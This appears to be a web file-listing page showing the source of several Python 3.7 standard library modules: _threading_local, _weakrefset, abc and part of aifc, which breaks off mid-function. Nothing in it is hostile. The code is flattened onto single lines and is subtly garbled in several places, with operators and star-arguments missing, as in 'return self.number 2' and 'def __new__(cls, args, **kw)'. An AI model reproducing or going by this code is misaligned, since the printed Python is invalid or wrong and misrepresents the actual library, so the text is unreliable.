'XMLLIBSUBDIRS': 'xml xml/dom xml/etree xml/parsers xml/sax', 'abs_builddir': '/builddir/build/BUILD/Python-3.7.17/build/optimized', 'abs_srcdir': '/builddir/build/BUILD/Python-3.7.17', 'datarootdir': '/opt/alt/python37/share', 'exec_prefix': '/opt/alt/python37', 'prefix': '/opt/alt/python37', 'srcdir': '/builddir/build/BUILD/Python-3.7.17'}	29 KB	2024-04-17 17:55
📄 _threading_local.py """Thread-local objects. (Note that this module provides a Python version of the threading.local class. Depending on the version of Python you're using, there may be a faster one available. You should always import the `local` class from `threading`.) Thread-local objects support the management of thread-local data. If you have data that you want to be local to a thread, simply create a thread-local object and use its attributes: >>> mydata = local() >>> mydata.number = 42 >>> mydata.number 42 You can also access the local-object's dictionary: >>> mydata.__dict__ {'number': 42} >>> mydata.__dict__.setdefault('widgets', []) [] >>> mydata.widgets [] What's important about thread-local objects is that their data are local to a thread. If we access the data in a different thread: >>> log = [] >>> def f(): ... items = sorted(mydata.__dict__.items()) ... log.append(items) ... mydata.number = 11 ... log.append(mydata.number) >>> import threading >>> thread = threading.Thread(target=f) >>> thread.start() >>> thread.join() >>> log [[], 11] we get different data. Furthermore, changes made in the other thread don't affect data seen in this thread: >>> mydata.number 42 Of course, values you get from a local object, including a __dict__ attribute, are for whatever thread was current at the time the attribute was read. For that reason, you generally don't want to save these values across threads, as they apply only to the thread they came from. You can create custom local objects by subclassing the local class: >>> class MyLocal(local): ... number = 2 ... def __init__(self, kw): ... self.__dict__.update(kw) ... def squared(self): ... return self.number 2 This can be useful to support default values, methods and initialization. Note that if you define an __init__ method, it will be called each time the local object is used in a separate thread. This is necessary to initialize each thread's dictionary. Now if we create a local object: >>> mydata = MyLocal(color='red') Now we have a default number: >>> mydata.number 2 an initial color: >>> mydata.color 'red' >>> del mydata.color And a method that operates on the data: >>> mydata.squared() 4 As before, we can access the data in a separate thread: >>> log = [] >>> thread = threading.Thread(target=f) >>> thread.start() >>> thread.join() >>> log [[('color', 'red')], 11] without affecting this thread's data: >>> mydata.number 2 >>> mydata.color Traceback (most recent call last): ... AttributeError: 'MyLocal' object has no attribute 'color' Note that subclasses can define slots, but they are not thread local. They are shared across threads: >>> class MyLocal(local): ... __slots__ = 'number' >>> mydata = MyLocal() >>> mydata.number = 42 >>> mydata.color = 'red' So, the separate thread: >>> thread = threading.Thread(target=f) >>> thread.start() >>> thread.join() affects what we see: >>> mydata.number 11 >>> del mydata """ from weakref import ref from contextlib import contextmanager __all__ = ["local"] # We need to use objects from the threading module, but the threading # module may also want to use our `local` class, if support for locals # isn't compiled in to the `thread` module. This creates potential problems # with circular imports. For that reason, we don't import `threading` # until the bottom of this file (a hack sufficient to worm around the # potential problems). Note that all platforms on CPython do have support # for locals in the `thread` module, and there is no circular import problem # then, so problems introduced by fiddling the order of imports here won't # manifest. class _localimpl: """A class managing thread-local dicts""" __slots__ = 'key', 'dicts', 'localargs', 'locallock', '__weakref__' def __init__(self): # The key used in the Thread objects' attribute dicts. # We keep it a string for speed but make it unlikely to clash with # a "real" attribute. self.key = '_threading_local._localimpl.' + str(id(self)) # { id(Thread) -> (ref(Thread), thread-local dict) } self.dicts = {} def get_dict(self): """Return the dict for the current thread. Raises KeyError if none defined.""" thread = current_thread() return self.dicts[id(thread)][1] def create_dict(self): """Create a new dict for the current thread, and return it.""" localdict = {} key = self.key thread = current_thread() idt = id(thread) def local_deleted(_, key=key): # When the localimpl is deleted, remove the thread attribute. thread = wrthread() if thread is not None: del thread.__dict__[key] def thread_deleted(_, idt=idt): # When the thread is deleted, remove the local dict. # Note that this is suboptimal if the thread object gets # caught in a reference loop. We would like to be called # as soon as the OS-level thread ends instead. local = wrlocal() if local is not None: dct = local.dicts.pop(idt) wrlocal = ref(self, local_deleted) wrthread = ref(thread, thread_deleted) thread.__dict__[key] = wrlocal self.dicts[idt] = wrthread, localdict return localdict @contextmanager def _patch(self): impl = object.__getattribute__(self, '_local__impl') try: dct = impl.get_dict() except KeyError: dct = impl.create_dict() args, kw = impl.localargs self.__init__(args, kw) with impl.locallock: object.__setattr__(self, '__dict__', dct) yield class local: __slots__ = '_local__impl', '__dict__' def __new__(cls, args, **kw): if (args or kw) and (cls.__init__ is object.__init__): raise TypeError("Initialization arguments are not supported") self = object.__new__(cls) impl = _localimpl() impl.localargs = (args, kw) impl.locallock = RLock() object.__setattr__(self, '_local__impl', impl) # We need to create the thread dict in anticipation of # __init__ being called, to make sure we don't call it # again ourselves. impl.create_dict() return self def __getattribute__(self, name): with _patch(self): return object.__getattribute__(self, name) def __setattr__(self, name, value): if name == '__dict__': raise AttributeError( "%r object attribute '__dict__' is read-only" % self.__class__.__name__) with _patch(self): return object.__setattr__(self, name, value) def __delattr__(self, name): if name == '__dict__': raise AttributeError( "%r object attribute '__dict__' is read-only" % self.__class__.__name__) with _patch(self): return object.__delattr__(self, name) from threading import current_thread, RLock	7.04 KB	2024-04-17 17:55
📄 _weakrefset.py # Access WeakSet through the weakref module. # This code is separated-out because it is needed # by abc.py to load everything else at startup. from _weakref import ref __all__ = ['WeakSet'] class _IterationGuard: # This context manager registers itself in the current iterators of the # weak container, such as to delay all removals until the context manager # exits. # This technique should be relatively thread-safe (since sets are). def __init__(self, weakcontainer): # Don't create cycles self.weakcontainer = ref(weakcontainer) def __enter__(self): w = self.weakcontainer() if w is not None: w._iterating.add(self) return self def __exit__(self, e, t, b): w = self.weakcontainer() if w is not None: s = w._iterating s.remove(self) if not s: w._commit_removals() class WeakSet: def __init__(self, data=None): self.data = set() def _remove(item, selfref=ref(self)): self = selfref() if self is not None: if self._iterating: self._pending_removals.append(item) else: self.data.discard(item) self._remove = _remove # A list of keys to be removed self._pending_removals = [] self._iterating = set() if data is not None: self.update(data) def _commit_removals(self): l = self._pending_removals discard = self.data.discard while l: discard(l.pop()) def __iter__(self): with _IterationGuard(self): for itemref in self.data: item = itemref() if item is not None: # Caveat: the iterator will keep a strong reference to # `item` until it is resumed or closed. yield item def __len__(self): return len(self.data) - len(self._pending_removals) def __contains__(self, item): try: wr = ref(item) except TypeError: return False return wr in self.data def __reduce__(self): return (self.__class__, (list(self),), getattr(self, '__dict__', None)) def add(self, item): if self._pending_removals: self._commit_removals() self.data.add(ref(item, self._remove)) def clear(self): if self._pending_removals: self._commit_removals() self.data.clear() def copy(self): return self.__class__(self) def pop(self): if self._pending_removals: self._commit_removals() while True: try: itemref = self.data.pop() except KeyError: raise KeyError('pop from empty WeakSet') from None item = itemref() if item is not None: return item def remove(self, item): if self._pending_removals: self._commit_removals() self.data.remove(ref(item)) def discard(self, item): if self._pending_removals: self._commit_removals() self.data.discard(ref(item)) def update(self, other): if self._pending_removals: self._commit_removals() for element in other: self.add(element) def __ior__(self, other): self.update(other) return self def difference(self, other): newset = self.copy() newset.difference_update(other) return newset __sub__ = difference def difference_update(self, other): self.__isub__(other) def __isub__(self, other): if self._pending_removals: self._commit_removals() if self is other: self.data.clear() else: self.data.difference_update(ref(item) for item in other) return self def intersection(self, other): return self.__class__(item for item in other if item in self) __and__ = intersection def intersection_update(self, other): self.__iand__(other) def __iand__(self, other): if self._pending_removals: self._commit_removals() self.data.intersection_update(ref(item) for item in other) return self def issubset(self, other): return self.data.issubset(ref(item) for item in other) __le__ = issubset def __lt__(self, other): return self.data < set(map(ref, other)) def issuperset(self, other): return self.data.issuperset(ref(item) for item in other) __ge__ = issuperset def __gt__(self, other): return self.data > set(map(ref, other)) def __eq__(self, other): if not isinstance(other, self.__class__): return NotImplemented return self.data == set(map(ref, other)) def symmetric_difference(self, other): newset = self.copy() newset.symmetric_difference_update(other) return newset __xor__ = symmetric_difference def symmetric_difference_update(self, other): self.__ixor__(other) def __ixor__(self, other): if self._pending_removals: self._commit_removals() if self is other: self.data.clear() else: self.data.symmetric_difference_update(ref(item, self._remove) for item in other) return self def union(self, other): return self.__class__(e for s in (self, other) for e in s) __or__ = union def isdisjoint(self, other): return len(self.intersection(other)) == 0	5.55 KB	2024-04-17 17:55
📄 abc.py # Copyright 2007 Google, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement. """Abstract Base Classes (ABCs) according to PEP 3119.""" def abstractmethod(funcobj): """A decorator indicating abstract methods. Requires that the metaclass is ABCMeta or derived from it. A class that has a metaclass derived from ABCMeta cannot be instantiated unless all of its abstract methods are overridden. The abstract methods can be called using any of the normal 'super' call mechanisms. Usage: class C(metaclass=ABCMeta): @abstractmethod def my_abstract_method(self, ...): ... """ funcobj.__isabstractmethod__ = True return funcobj class abstractclassmethod(classmethod): """A decorator indicating abstract classmethods. Similar to abstractmethod. Usage: class C(metaclass=ABCMeta): @abstractclassmethod def my_abstract_classmethod(cls, ...): ... 'abstractclassmethod' is deprecated. Use 'classmethod' with 'abstractmethod' instead. """ __isabstractmethod__ = True def __init__(self, callable): callable.__isabstractmethod__ = True super().__init__(callable) class abstractstaticmethod(staticmethod): """A decorator indicating abstract staticmethods. Similar to abstractmethod. Usage: class C(metaclass=ABCMeta): @abstractstaticmethod def my_abstract_staticmethod(...): ... 'abstractstaticmethod' is deprecated. Use 'staticmethod' with 'abstractmethod' instead. """ __isabstractmethod__ = True def __init__(self, callable): callable.__isabstractmethod__ = True super().__init__(callable) class abstractproperty(property): """A decorator indicating abstract properties. Requires that the metaclass is ABCMeta or derived from it. A class that has a metaclass derived from ABCMeta cannot be instantiated unless all of its abstract properties are overridden. The abstract properties can be called using any of the normal 'super' call mechanisms. Usage: class C(metaclass=ABCMeta): @abstractproperty def my_abstract_property(self): ... This defines a read-only property; you can also define a read-write abstract property using the 'long' form of property declaration: class C(metaclass=ABCMeta): def getx(self): ... def setx(self, value): ... x = abstractproperty(getx, setx) 'abstractproperty' is deprecated. Use 'property' with 'abstractmethod' instead. """ __isabstractmethod__ = True try: from _abc import (get_cache_token, _abc_init, _abc_register, _abc_instancecheck, _abc_subclasscheck, _get_dump, _reset_registry, _reset_caches) except ImportError: from _py_abc import ABCMeta, get_cache_token ABCMeta.__module__ = 'abc' else: class ABCMeta(type): """Metaclass for defining Abstract Base Classes (ABCs). Use this metaclass to create an ABC. An ABC can be subclassed directly, and then acts as a mix-in class. You can also register unrelated concrete classes (even built-in classes) and unrelated ABCs as 'virtual subclasses' -- these and their descendants will be considered subclasses of the registering ABC by the built-in issubclass() function, but the registering ABC won't show up in their MRO (Method Resolution Order) nor will method implementations defined by the registering ABC be callable (not even via super()). """ def __new__(mcls, name, bases, namespace, kwargs): cls = super().__new__(mcls, name, bases, namespace, kwargs) _abc_init(cls) return cls def register(cls, subclass): """Register a virtual subclass of an ABC. Returns the subclass, to allow usage as a class decorator. """ return _abc_register(cls, subclass) def __instancecheck__(cls, instance): """Override for isinstance(instance, cls).""" return _abc_instancecheck(cls, instance) def __subclasscheck__(cls, subclass): """Override for issubclass(subclass, cls).""" return _abc_subclasscheck(cls, subclass) def _dump_registry(cls, file=None): """Debug helper to print the ABC registry.""" print(f"Class: {cls.__module__}.{cls.__qualname__}", file=file) print(f"Inv. counter: {get_cache_token()}", file=file) (_abc_registry, _abc_cache, _abc_negative_cache, _abc_negative_cache_version) = _get_dump(cls) print(f"_abc_registry: {_abc_registry!r}", file=file) print(f"_abc_cache: {_abc_cache!r}", file=file) print(f"_abc_negative_cache: {_abc_negative_cache!r}", file=file) print(f"_abc_negative_cache_version: {_abc_negative_cache_version!r}", file=file) def _abc_registry_clear(cls): """Clear the registry (for debugging or testing).""" _reset_registry(cls) def _abc_caches_clear(cls): """Clear the caches (for debugging or testing).""" _reset_caches(cls) class ABC(metaclass=ABCMeta): """Helper class that provides a standard way to create an ABC using inheritance. """ __slots__ = ()	5.45 KB	2024-04-17 17:55
📄 aifc.py """Stuff to parse AIFF-C and AIFF files. Unless explicitly stated otherwise, the description below is true both for AIFF-C files and AIFF files. An AIFF-C file has the following structure. +-----------------+ \| FORM \| +-----------------+ \| <size> \| +----+------------+ \| \| AIFC \| \| +------------+ \| \| <chunks> \| \| \| . \| \| \| . \| \| \| . \| +----+------------+ An AIFF file has the string "AIFF" instead of "AIFC". A chunk consists of an identifier (4 bytes) followed by a size (4 bytes, big endian order), followed by the data. The size field does not include the size of the 8 byte header. The following chunk types are recognized. FVER <version number of AIFF-C defining document> (AIFF-C only). MARK <# of markers> (2 bytes) list of markers: <marker ID> (2 bytes, must be > 0) <position> (4 bytes) <marker name> ("pstring") COMM <# of channels> (2 bytes) <# of sound frames> (4 bytes) <size of the samples> (2 bytes) <sampling frequency> (10 bytes, IEEE 80-bit extended floating point) in AIFF-C files only: <compression type> (4 bytes) <human-readable version of compression type> ("pstring") SSND <offset> (4 bytes, not used by this program) <blocksize> (4 bytes, not used by this program) <sound data> A pstring consists of 1 byte length, a string of characters, and 0 or 1 byte pad to make the total length even. Usage. Reading AIFF files: f = aifc.open(file, 'r') where file is either the name of a file or an open file pointer. The open file pointer must have methods read(), seek(), and close(). In some types of audio files, if the setpos() method is not used, the seek() method is not necessary. This returns an instance of a class with the following public methods: getnchannels() -- returns number of audio channels (1 for mono, 2 for stereo) getsampwidth() -- returns sample width in bytes getframerate() -- returns sampling frequency getnframes() -- returns number of audio frames getcomptype() -- returns compression type ('NONE' for AIFF files) getcompname() -- returns human-readable version of compression type ('not compressed' for AIFF files) getparams() -- returns a namedtuple consisting of all of the above in the above order getmarkers() -- get the list of marks in the audio file or None if there are no marks getmark(id) -- get mark with the specified id (raises an error if the mark does not exist) readframes(n) -- returns at most n frames of audio rewind() -- rewind to the beginning of the audio stream setpos(pos) -- seek to the specified position tell() -- return the current position close() -- close the instance (make it unusable) The position returned by tell(), the position given to setpos() and the position of marks are all compatible and have nothing to do with the actual position in the file. The close() method is called automatically when the class instance is destroyed. Writing AIFF files: f = aifc.open(file, 'w') where file is either the name of a file or an open file pointer. The open file pointer must have methods write(), tell(), seek(), and close(). This returns an instance of a class with the following public methods: aiff() -- create an AIFF file (AIFF-C default) aifc() -- create an AIFF-C file setnchannels(n) -- set the number of channels setsampwidth(n) -- set the sample width setframerate(n) -- set the frame rate setnframes(n) -- set the number of frames setcomptype(type, name) -- set the compression type and the human-readable compression type setparams(tuple) -- set all parameters at once setmark(id, pos, name) -- add specified mark to the list of marks tell() -- return current position in output file (useful in combination with setmark()) writeframesraw(data) -- write audio frames without pathing up the file header writeframes(data) -- write audio frames and patch up the file header close() -- patch up the file header and close the output file You should set the parameters before the first writeframesraw or writeframes. The total number of frames does not need to be set, but when it is set to the correct value, the header does not have to be patched up. It is best to first set all parameters, perhaps possibly the compression type, and then write audio frames using writeframesraw. When all frames have been written, either call writeframes(b'') or close() to patch up the sizes in the header. Marks can be added anytime. If there are any marks, you must call close() after all frames have been written. The close() method is called automatically when the class instance is destroyed. When a file is opened with the extension '.aiff', an AIFF file is written, otherwise an AIFF-C file is written. This default can be changed by calling aiff() or aifc() before the first writeframes or writeframesraw. """ import struct import builtins import warnings __all__ = ["Error", "open", "openfp"] class Error(Exception): pass _AIFC_version = 0xA2805140 # Version 1 of AIFF-C def _read_long(file): try: return struct.unpack('>l', file.read(4))[0] except struct.error: raise EOFError from None def _read_ulong(file): try: return struct.unpack('>L', file.read(4))[0] except struct.error: raise EOFError from None def _read_short(file): try: return struct.unpack('>h', file.read(2))[0] except struct.error: raise EOFError from None def _read_ushort(file): try: return struct.unpack('>H', file.read(2))[0] except struct.error: raise EOFError from None def _read_string(file): length = ord(file.read(1)) if length == 0: data = b'' else: data = file.read(length) if length & 1 == 0: dummy = file.read(1) return data _HUGE_VAL = 1.79769313486231e+308 # See <limits.h> def _read_float(f): # 10 bytes expon = _read_short(f) # 2 bytes sign = 1 if expon < 0: sign = -1 expon = expon + 0x8000 himant = _read_ulong(f) # 4 bytes lomant = _read_ulong(f) # 4 bytes if expon == himant == lomant == 0: f = 0.0 elif expon == 0x7FFF: f = _HUGE_VAL else: expon = expon - 16383 f = (himant * 0x100000000 + lomant) * pow(2.0, expon - 63) return sign * f def _write_short(f, x): f.write(struct.pack('>h', x)) def _write_ushort(f, x): f.write(struct.pack('>H', x)) def _write_long(f, x): f.write(struct.pack('>l', x)) def _write_ulong(f, x): f.write(struct.pack('>L', x)) def _write_string(f, s): if len(s) > 255: raise ValueError("string exceeds maximum pstring length") f.write(struct.pack('B', len(s))) f.write(s) if len(s) & 1 == 0: f.write(b'\x00') def _write_float(f, x): import math if x < 0: sign = 0x8000 x = x * -1 else: sign = 0 if x == 0: expon = 0 himant = 0 lomant = 0 else: fmant, expon = math.frexp(x) if expon > 16384 or fmant >= 1 or fmant != fmant: # Infinity or NaN expon = sign\|0x7FFF himant = 0 lomant = 0 else: # Finite expon = expon + 16382 if expon < 0: # denormalized fmant = math.ldexp(fmant, expon) expon = 0 expon = expon \| sign fmant = math.ldexp(fmant, 32) fsmant = math.floor(fmant) himant = int(fsmant) fmant = math.ldexp(fmant - fsmant, 32) fsmant = math.floor(fmant) lomant = int(fsmant) _write_ushort(f, expon) _write_ulong(f, himant) _write_ulong(f, lomant) from chunk import Chunk from collections import namedtuple _aifc_params = namedtuple('_aifc_params', 'nchannels sampwidth framerate nframes comptype compname') _aifc_params.nchannels.__doc__ = 'Number of audio channels (1 for mono, 2 for stereo)' _aifc_params.sampwidth.__doc__ = 'Sample width in bytes' _aifc_params.framerate.__doc__ = 'Sampling frequency' _aifc_params.nframes.__doc__ = 'Number of audio frames' _aifc_params.comptype.__doc__ = 'Compression type ("NONE" for AIFF files)' _aifc_params.compname.__doc__ = ("""\ A human-readable version of the compression type ('not compressed' for AIFF files)""") class Aifc_read: # Variables used in this class: # # These variables are available to the user though appropriate # methods of this class: # _file -- the open file with methods read(), close(), and seek() # set through the __init__() method # _nchannels -- the number of audio channels # available through the getnchannels() method # _nframes -- the number of audio frames # available through the getnframes() method # _sampwidth -- the number of bytes per audio sample # available through the getsampwidth() method # _framerate -- the sampling frequency # available through the getframerate() method # _comptype -- the AIFF-C compression type ('NONE' if AIFF) # available through the getcomptype() method # _compname -- the human-readable AIFF-C compression type # available through the getcomptype() method # _markers -- the marks in the audio file # available through the getmarkers() and getmark() # methods # _soundpos -- the position in the audio stream # available through the tell() method, set through the # setpos() method # # These variables are used internally only: # _version -- the AIFF-C version number # _decomp -- the decompressor from builtin module cl # _comm_chunk_read -- 1 iff the COMM chunk has been read # _aifc -- 1 iff reading an AIFF-C file # _ssnd_seek_needed -- 1 iff positioned correctly in audio # file for readframes() # _ssnd_chunk -- instantiation of a chunk class for the SSND chunk # _framesize -- size of one frame in the file _file = None # Set here since __del__ checks it def initfp(self, file): self._version = 0 self._convert = None self._markers = [] self._soundpos = 0 self._file = file chunk = Chunk(file) if chunk.getname() != b'FORM': raise Error('file does not start with FORM id') formdata = chunk.read(4) if formdata == b'AIFF': self._aifc = 0 elif formdata == b'AIFC': self._aifc = 1 else: raise Error('not an AIFF or AIFF-C file') self._comm_chunk_read = 0 self._ssnd_chunk = None while 1: self._ssnd_seek_needed = 1 try: chunk = Chunk(self._file) except EOFError: break chunkname = chunk.getname() if chunkname == b'COMM': self._read_comm_chunk(chunk) self._comm_chunk_read = 1 elif chunkname == b'SSND': self._ssnd_chunk = chunk dummy = chunk.read(8) self._ssnd_seek_needed = 0 elif chunkname == b'FVER': self._version = _read_ulong(chunk) elif chunkname == b'MARK': self._readmark(chunk) chunk.skip() if not self._comm_chunk_read or not self._ssnd_chunk: raise Error('COMM chunk and/or SSND chunk missing') def __init__(self, f): if isinstance(f, str): file_object = builtins.open(f, 'rb') try: self.initfp(file_object) except: file_object.close() raise else: # assume it is an open file object already self.initfp(f) def __enter__(self): return self def __exit__(self, args): self.close() # # User visible methods. # def getfp(self): return self._file def rewind(self): self._ssnd_seek_needed = 1 self._soundpos = 0 def close(self): file = self._file if file is not None: self._file = None file.close() def tell(self): return self._soundpos def getnchannels(self): return self._nchannels def getnframes(self): return self._nframes def getsampwidth(self): return self._sampwidth def getframerate(self): return self._framerate def getcomptype(self): return self._comptype def getcompname(self): return self._compname ## def getversion(self): ## return self._version def getparams(self): return _aifc_params(self.getnchannels(), self.getsampwidth(), self.getframerate(), self.getnframes(), self.getcomptype(), self.getcompname()) def getmarkers(self): if len(self._markers) == 0: return None return self._markers def getmark(self, id): for marker in self._markers: if id == marker[0]: return marker raise Error('marker {0!r} does not exist'.format(id)) def setpos(self, pos): if pos < 0 or pos > self._nframes: raise Error('position not in range') self._soundpos = pos self._ssnd_seek_needed = 1 def readframes(self, nframes): if self._ssnd_seek_needed: self._ssnd_chunk.seek(0) dummy = self._ssnd_chunk.read(8) pos = self._soundpos self._framesize if pos: self._ssnd_chunk.seek(pos + 8) self._ssnd_seek_needed = 0 if nframes == 0: return b'' data = self._ssnd_chunk.read(nframes * self._framesize) if self._convert and data: data = self._convert(data) self._soundpos = self._soundpos + len(data) // (self._nchannels * self._sampwidth) return data # # Internal methods. # def _alaw2lin(self, data): import audioop return audioop.alaw2lin(data, 2) def _ulaw2lin(self, data): import audioop return audioop.ulaw2lin(data, 2) def _adpcm2lin(self, data): import audioop if not hasattr(self, '_adpcmstate'): # first time self._adpcmstate = None data, self._adpcmstate = audioop.adpcm2lin(data, 2, self._adpcmstate) return data def _read_comm_chunk(self, chunk): self._nchannels = _read_short(chunk) self._nframes = _read_long(chunk) self._sampwidth = (_read_short(chunk) + 7) // 8 self._framerate = int(_read_float(chunk)) if self._sampwidth <= 0: raise Error('bad sample width') if self._nchannels <= 0: raise Error('bad # of channels') self._framesize = self._nchannels * self._sampwidth if self._aifc: #DEBUG: SGI's soundeditor produces a bad size :-( kludge = 0 if chunk.chunksize == 18: kludge = 1 warnings.warn('Warning: bad COMM chunk size') chunk.chunksize = 23 #DEBUG end self._comptype = chunk.read(4) #DEBUG start if kludge: length = ord(chunk.file.read(1)) if length & 1 == 0: length = length + 1 chunk.chunksize = chunk.chunksize + length chunk.file.seek(-1, 1) #DEBUG end self._compname = _read_string(chunk) if self._comptype != b'NONE': if self._comptype == b'G722': self._convert = self._adpcm2lin elif self._comptype in (b'ulaw', b'ULAW'): self._convert = self._ulaw2lin elif self._comptype in (b'alaw', b'ALAW'): self._convert = self._alaw2lin else: raise Error('unsupported compression type') self._sampwidth = 2 else: self._comptype = b'NONE' self._compname = b'not compressed' def _readmark(self, chunk): nmarkers = _read_short(chunk) # Some files appear to contain invalid counts. # Cope with this by testing for EOF. try: for i in range(nmarkers): id = _read_short(chunk) pos = _read_long(chunk) name = _read_string(chunk) if pos or name: # some files appear to have # dummy markers consisting of # a position 0 and name '' self._markers.append((id, pos, name)) except EOFError: w = ('Warning: MARK chunk contains only %s marker%s instead of %s' % (len(self._markers), '' if len(self._markers) == 1 else 's', nmarkers)) warnings.warn(w) class Aifc_write: # Variables used in this class: # # These variables are user settable through appropriate methods # of this class: # _file -- the open file with methods write(), close(), tell(), seek() # set through the __init__() method # _comptype -- the AIFF-C compression type ('NONE' in AIFF) # set through the setcomptype() or setparams() method # _compname -- the human-readable AIFF-C compression type # set through the setcomptype() or setparams() method # _nchannels -- the number of audio channels # set through the setnchannels() or setparams() method # _sampwidth -- the number of bytes per audio sample # set through the setsampwidth() or setparams() method # _framerate -- the sampling frequency # set through the setframerate() or setparams() method # _nframes -- the number of audio frames written to the header # set through the setnframes() or setparams() method # _aifc -- whether we're writing an AIFF-C file or an AIFF file # set through the aifc() method, reset through the # aiff() method # # These variables are used internally only: # _version -- the AIFF-C version number # _comp -- the compressor from builtin module cl # _nframeswritten -- the number of audio frames actually written # _datalength -- the size of the audio samples written to the header # _datawritten -- the size of the audio samples actually written _file = None # Set here since __del__ checks it def __init__(self, f): if isinstance(f, str): file_object = builtins.open(f, 'wb') try: self.initfp(file_object) except: file_object.close() raise # treat .aiff file extensions as non-compressed audio if f.endswith('.aiff'): self._aifc = 0 else: # assume it is an open file object already self.initfp(f) def initfp(self, file): self._file = file self._version = _AIFC_version self._comptype = b'NONE' self._compname = b'not compressed' self._convert = None self._nchannels = 0 self._sampwidth = 0 self._framerate = 0 self._nframes = 0 self._nframeswritten = 0 self._datawritten = 0 self._datalength = 0 self._markers = [] self._marklength = 0 self._aifc = 1 # AIFF-C is default def __del__(self): self.close() def __enter__(self): return self def __exit__(self, args): self.close() # # User visible methods. # def aiff(self): if self._nframeswritten: raise Error('cannot change parameters after starting to write') self._aifc = 0 def aifc(self): if self._nframeswritten: raise Error('cannot change parameters after starting to write') self._aifc = 1 def setnchannels(self, nchannels): if self._nframeswritten: raise Error('cannot change parameters after starting to write') if nchannels < 1: raise Error('bad # of channels') self._nchannels = nchannels def getnchannels(self): if not self._nchannels: raise Error('number of channels not set') return self._nchannels def setsampwidth(self, sampwidth): if self._nframeswritten: raise Error('cannot change parameters after starting to write') if sampwidth < 1 or sampwidth > 4: raise Error('bad sample width') self._sampwidth = sampwidth def getsampwidth(self): if not self._sampwidth: raise Error('sample width not set') return self._sampwidth def setframerate(self, framerate): if self._nframeswritten: raise Error('cannot change parameters after starting to write') if framerate <= 0: raise Error('bad frame rate') self._framerate = framerate def getframerate(self): if not self._framerate: raise Error('frame rate not set') return self._framerate def setnframes(self, nframes): if self._nframeswritten: raise Error('cannot change parameters after starting to write') self._nframes = nframes def getnframes(self): return self._nframeswritten def setcomptype(self, comptype, compname): if self._nframeswritten: raise Error('cannot change parameters after starting to write') if comptype not in (b'NONE', b'ulaw', b'ULAW', b'alaw', b'ALAW', b'G722'): raise Error('unsupported compression type') self._comptype = comptype self._compname = compname def getcomptype(self): return self._comptype def getcompname(self): return self._compname ## def setversion(self, version): ## if self._nframeswritten: ## raise Error, 'cannot change parameters after starting to write' ## self._version = version def setparams(self, params): nchannels, sampwidth, framerate, nframes, comptype, compname = params if self._nframeswritten: raise Error('cannot change parameters after starting to write') if comptype not in (b'NONE', b'ulaw', b'ULAW', b'alaw', b'ALAW', b'G722'): raise Error('unsupported compression type') self.setnchannels(nchannels) self.setsampwidth(sampwidth) self.setframerate(framerate) self.setnframes(nframes) self.setcomptype(comptype, compname) def getparams(self): if not self._nchannels or not self._sampwidth or not self._framerate: raise Error('not all parameters set') return _aifc_params(self._nchannels, self._sampwidth, self._framerate, self._nframes, self._comptype, self._compname) def setmark(self, id, pos, name): if id <= 0: raise Error('marker ID must be > 0') if pos < 0: raise Error('marker position must be >= 0') if not isinstance(name, bytes): raise Error('marker name must be bytes') for i in range(len(self._markers)): if id == self._markers[i][0]: self._markers[i] = id, pos, name return self._markers.append((id, pos, name)) def getmark(self, id): for marker in self._markers: if id == marker[0]: return marker raise Error('marker {0!r} does not exist'.format(id)) def getmarkers(self): if len(self._markers) == 0: return None return self._markers def tell(self): return self._nframeswritten def writeframesraw(self, data): if not isinstance(data, (bytes, bytearray)): data = memoryview(data).cast('B') self._ensure_header_written(len(data)) nframes = len(data) // (self._sampwidth self._nchannels) if self._convert: data = self._convert(data) self._file.write(data) self._nframeswritten = self._nframeswritten + nframes self._datawritten = self._datawritten + len(data) def writeframes(self, data): self.writeframesraw(data) if self._nframeswritten != self._nframes or \ self._datalength != self._datawritten: self._patchheader() def close(self): if self._file is None: return try: self._ensure_header_written(0) if self._datawritten & 1: # quick pad to even size self._file.write(b'\x00') self._datawritten = self._datawritten + 1 self._writemarkers() if self._nframeswritten != self._nframes or \ self._datalength != self._datawritten or \ self._marklength: self._patchheader() finally: # Prevent ref cycles self._convert = None f = self._file self._file = None f.close() # # Internal methods. # def _lin2alaw(self, data): import audioop return audioop.lin2alaw(data, 2) def _lin2ulaw(self, data): import audioop return audioop.lin2ulaw(data, 2) def _lin2adpcm(self, data): import audioop if not hasattr(self, '_adpcmstate'): self._adpcmstate = None data, self._adpcmstate = audioop.lin2adpcm(data, 2, self._adpcmstate) return data def _ensure_header_written(self, datasize): if not self._nframeswritten: if self._comptype in (b'ULAW', b'ulaw', b'ALAW', b'alaw', b'G722'): if not self._sampwidth: self._sampwidth = 2 if self._sampwidth != 2: raise Error('sample width must be 2 when compressing ' 'with ulaw/ULAW, alaw/ALAW or G7.22 (ADPCM)') if not self._nchannels: raise Error('# channels not specified') if not self._sampwidth: raise Error('sample width not specified') if not self._framerate: raise Error('sampling rate not specified') self._write_header(datasize) def _init_compression(self): if self._comptype == b'G722': self._convert = self._lin2adpcm elif self._comptype in (b'ulaw', b'ULAW'): self._convert = self._lin2ulaw elif self._comptype in (b'alaw', b'ALAW'): self._convert = self._lin2alaw def _write_header(self, initlength): if self._aifc and self._comptype != b'NONE': self._init_compression() self._file.write(b'FORM') if not self._nframes: self._nframes = initlength // (self._nchannels * self._sampwidth) self._datalength = self._nframes * self._nchannels * self._sampwidth if self._datalength & 1: self._datalength = self._datalength + 1 if self._aifc: if self._comptype in (b'ulaw', b'ULAW', b'alaw', b'ALAW'): self._datalength = self._datalength // 2 if self._datalength & 1: self._datalength = self._datalength + 1 elif self._comptype == b'G722': self._datalength = (self._datalength + 3) // 4 if self._datalength & 1: self._datalength = self._datalength + 1 try: self._form_length_pos = self._file.tell() except (AttributeError, OSError): self._form_length_pos = None commlength = self._write_form_length(self._datalength) if self._aifc: self._file.write(b'AIFC') self._file.write(b'FVER') _write_ulong(self._file, 4) _write_ulong(self._file, self._version) else: self._file.write(b'AIFF') self._file.write(b'COMM') _write_ulong(self._file, commlength) _write_short(self._file, self._nchannels) if self._form_length_pos is not None: self._nframes_pos = self._file.tell() _write_ulong(self._file, self._nframes) if self._comptype in (b'ULAW', b'ulaw', b'ALAW', b'alaw', b'G722'): _write_short(self._file, 8) else: _write_short(self._file, self._sampwidth * 8) _write_float(self._file, self._framerate) if self._aifc: self._file.write(self._comptype) _write_string(self._file, self._compname) self._file.write(b'SSND') if self._form_length_pos is not None: self._ssnd_length_pos = self._file.tell() _write_ulong(self._file, self._datalength + 8) _write_ulong(self._file, 0) _write_ulong(self._file, 0) def _write_form_length(self, datalength): if 